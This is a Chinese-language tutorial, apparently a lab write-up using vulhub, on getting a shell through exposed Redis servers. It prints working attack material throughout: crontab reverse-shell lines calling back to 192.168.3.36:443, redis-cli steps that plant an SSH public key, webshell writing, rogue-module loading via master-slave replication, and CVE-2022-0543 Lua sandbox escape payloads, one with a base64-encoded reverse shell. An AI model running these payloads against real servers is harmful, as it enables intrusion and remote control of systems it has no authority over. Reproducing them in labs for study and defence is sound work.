文章目录

  • 1、通过写文件getshell
  • 1.0 通过crontab定时任务进行反弹shell介绍
  • CentOS (本次测试使用CentOS 7)
  • Ubuntu(本次使用Ubuntu 18.04.4)
  • 1.1 写crontab定时任务进行反弹shell
  • 1.2 写入ssh公钥
  • 1.3 写入webshell
  • 2、通过主从复制getshell
  • 2.1 Redis主从复制
  • 2.2 Redis扩展模块
  • 3、Redis Lua沙盒绕过命令执行(CVE-2022-0543)
  • 参考


1、通过写文件getshell

1.0 通过crontab定时任务进行反弹shell介绍

在对Redis未授权访问进行利用前,先了解一下在常见的Linux发行版环境下,通过crontab定时任务来执行反弹shell的相同点和不同点。

CentOS (本次测试使用CentOS 7)

可以在以下文件夹内找到相关配置文件。

  • /var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名;
  • /etc/crontab 这个文件负责调度各种管理和维护任务。
  • /etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
  • 还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
CentOS 7 环境下,定时任务的执行日志可通过 /var/log/cron 文件查看.

redis 反向查找 redis反弹shell /etc/crontab_redis

/var/spool/cron 目录下,名字为root或其他用户名,不同的用户名,执行命令就是以那个用户身份去执行的,示例如下:

* * * * * bash -i >& /dev/tcp/192.168.3.36/443 0>&1

redis 反向查找 redis反弹shell /etc/crontab_Redis_02


定时任务的命令执行结果如下,以root身份执行了反弹shell命令:

redis 反向查找 redis反弹shell /etc/crontab_redis 反向查找_03


如果将文件名改为另一个用户名fa1c0n,则会以fa1c0n身份执行反弹shell命令:

redis 反向查找 redis反弹shell /etc/crontab_linux_04


redis 反向查找 redis反弹shell /etc/crontab_linux_05


如果是在 /etc/cron.d//etc/cron.hourly/etc/cron.daily/etc/cron.weekly/etc/cron.monthly目录中这些目录中创建定时文件,则任意文件名都可以,但定时任务内容里要写上用户名,表示由谁来执行定时任务,如下:

* * * * * root bash -i >& /dev/tcp/192.168.3.36/443 0>&1
或:
* * * * * fa1c0n bash -i >& /dev/tcp/192.168.3.36/443 0>&1

redis 反向查找 redis反弹shell /etc/crontab_redis 反向查找_06


定时任务文件 /etc/cron.d/note.txt 中指定了由root用户来执行反弹shell命令,结果如下:

redis 反向查找 redis反弹shell /etc/crontab_redis_07

改为由用户fa1c0n来执行命令:

redis 反向查找 redis反弹shell /etc/crontab_Redis_08


结果如下:

redis 反向查找 redis反弹shell /etc/crontab_redis 反向查找_09

Ubuntu(本次使用Ubuntu 18.04.4)

相比CentOS,Ubuntu在这方面更为严格。在Ubuntu下,在定时任务文件的目录在/var/spool/cron/crontabs/ (放在/etc/cron.d 目录无法执行命令,原因不详),文件名也是需要为用户名,但与CentOS不同的是,文件的权限需要是600 才可以正常执行。这个可通过查看syslog可知。

redis 反向查找 redis反弹shell /etc/crontab_redis 反向查找_10

Ubuntu下,查看cron的日志,除了/var/log/syslog外,还可以开启cron日志记录(Ubuntu默认不开启),开启方式是,将 /etc/rsyslog.d/50-default.conf文件中,将cron.* /var/log/cron.log 这一行前面的注释去掉,然后 systemctl restart rsyslog.service 重启 rsyslog 服务即可。

redis 反向查找 redis反弹shell /etc/crontab_Redis_11

另外实测发现,反弹shell的命令需要写成 /bin/bash -c <反弹shell命令>的形式才行。而直接跟之前一样写成 <反弹shell命令> 却不行,原因不详。

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.3.36/443 0>&1'

使用其他用户名也是可以的:

redis 反向查找 redis反弹shell /etc/crontab_redis_12


redis 反向查找 redis反弹shell /etc/crontab_redis_13

1.1 写crontab定时任务进行反弹shell

利用前提条件:

目标Redis进程是以root权限启动;
Redis未授权访问或授权口令已知;
【如果是较高版本的Redis,还得关闭配置保护模式】

关于redis的常用配置项可参考:

https://www.runoob.com/redis/redis-conf.html 其实也可以参考源码目录下的redis.conf 文件,里面对配置项有详细的注释。

这个方式只在CentOS里有效,因为redis默认情况下写文件是644的权限,而前面也说过,在Ubuntu环境下,需要600权限才可以。

所以下面以CentOS 7为例,通过Redis未授权访问漏洞,写crontab定时任务进行反弹shell。

本次测试用的Redis版本为最新的7.0.0 ,不知道之前从哪个版本开始,一些比较危险的属性默认情况下是不允许修改的,比如这里用到的dirdbfilename,毕竟这已经是公开多年的攻击手法,Redis没有理由不对此进行加固。所以在较新版本中,默认情况下,如果修改上述属性,会报错:

redis 反向查找 redis反弹shell /etc/crontab_redis_14

这里为了复现老版本的漏洞,便修改了配置文件/etc/redis.conf,将属性保护模式给关闭,如下:

redis 反向查找 redis反弹shell /etc/crontab_redis 反向查找_15


修改后就可以修改dirdbfilename属性了,将dir属性指向cron定时任务的目录/var/spool/crondbfilename属性为root。这里要注意要在写入包含定时任务命令的键值时,要再定时任务内容前后添加上若干个换行符\n。由于save保存时,redis会将版本信息以及其他的一些键值写入dbfilename指向的问题,如果没有换行符\n,则其他键值对内容会破坏定时任务的格式,导致定时任务无法被正确解析、执行,如下图:

redis 反向查找 redis反弹shell /etc/crontab_redis_16


redis 反向查找 redis反弹shell /etc/crontab_web安全_17


加上换行符\n后,就可以了 ,如下:

redis 反向查找 redis反弹shell /etc/crontab_redis 反向查找_18


redis 反向查找 redis反弹shell /etc/crontab_Redis_19


成功执行反弹shell:

redis 反向查找 redis反弹shell /etc/crontab_linux_20

1.2 写入ssh公钥

利用前提条件:

redis以root身份运行;
未授权访问或授权口令已知;
服务器开放SSH服务且允许密钥登录. (服务器上/<用户名>/.ssh 目录要存在)

先在攻击机上生成rsa公私钥对。

ssh-keygen -t rsa

redis 反向查找 redis反弹shell /etc/crontab_linux_21

为了写入方便,先将要写入的数据构造好存放到一个新文件中:

(echo "\n\n\n"; cat id_rsa.pub; echo "\n\n\n") > key.txt

redis 反向查找 redis反弹shell /etc/crontab_linux_22

通过Redis未授权写入ssh公钥:

cat key.txt |redis-cli -h centos7 -p 6379 -x set xs

redis 反向查找 redis反弹shell /etc/crontab_linux_23

写入ssh公钥后,便可以通过ssh直接登录了。

redis 反向查找 redis反弹shell /etc/crontab_linux_24

1.3 写入webshell

利用前提条件:

未授权访问或授权口令已知;
服务器开着WEB服务且WEB目录路径已知.

实测发现如果写jsp webshell,发现会有很多乱码。暂不知如何解决。

redis 反向查找 redis反弹shell /etc/crontab_Redis_25


redis 反向查找 redis反弹shell /etc/crontab_redis 反向查找_26

写php一句话倒是ok的。

2、通过主从复制getshell

利用的前提条件:
未授权访问或授权口令已知;
4.x <= Redis <= 5.0.5.

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。


如今进入云原生时代,各企业都在使用容器、kubernetes进行应用部署已成主流。这种情况下,很多时候一个redis服务部署在一个容器里,那这个容器里一般就除了这个redis服务,就没有其他服务了,包括前面提到的ssh、cron服务,故前面提到的通过写文件来getshell就不可行了。

2018年的时候老外在zeronights 2018安全会议中分享了通过redis主从复制来getshell的方法。(参考[4]

2.1 Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。


2.2 Redis扩展模块

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

编写恶意so文件的代码:

https://github.com/vulhub/redis-rogue-getshell

命令可直接回显:

redis 反向查找 redis反弹shell /etc/crontab_redis_27


反弹shell:

redis 反向查找 redis反弹shell /etc/crontab_Redis_28

3、Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

这里使用vulhub的环境进行复现:

redis 反向查找 redis反弹shell /etc/crontab_Redis_29


命令可直接回显:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

redis 反向查找 redis反弹shell /etc/crontab_Redis_30


反弹shell:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzYvNDQzIDA+JjEK |base64 -d |bash -i", "r"); local res = f:read("*a"); f:close(); return res' 0

redis 反向查找 redis反弹shell /etc/crontab_redis_31

要注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在Vulhub环境(Ubuntu 20.04.4 LTS)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0。

参考

[1] https://paper.seebug.org/975/
[2] https://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450775177&idx=1&sn=60f333eab252e78452f93c129c566939&scene=21#wechat_redirect
[3] https://github.com/vulhub/vulhub/tree/master/redis
[4] https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
[5] https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md
[6] https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce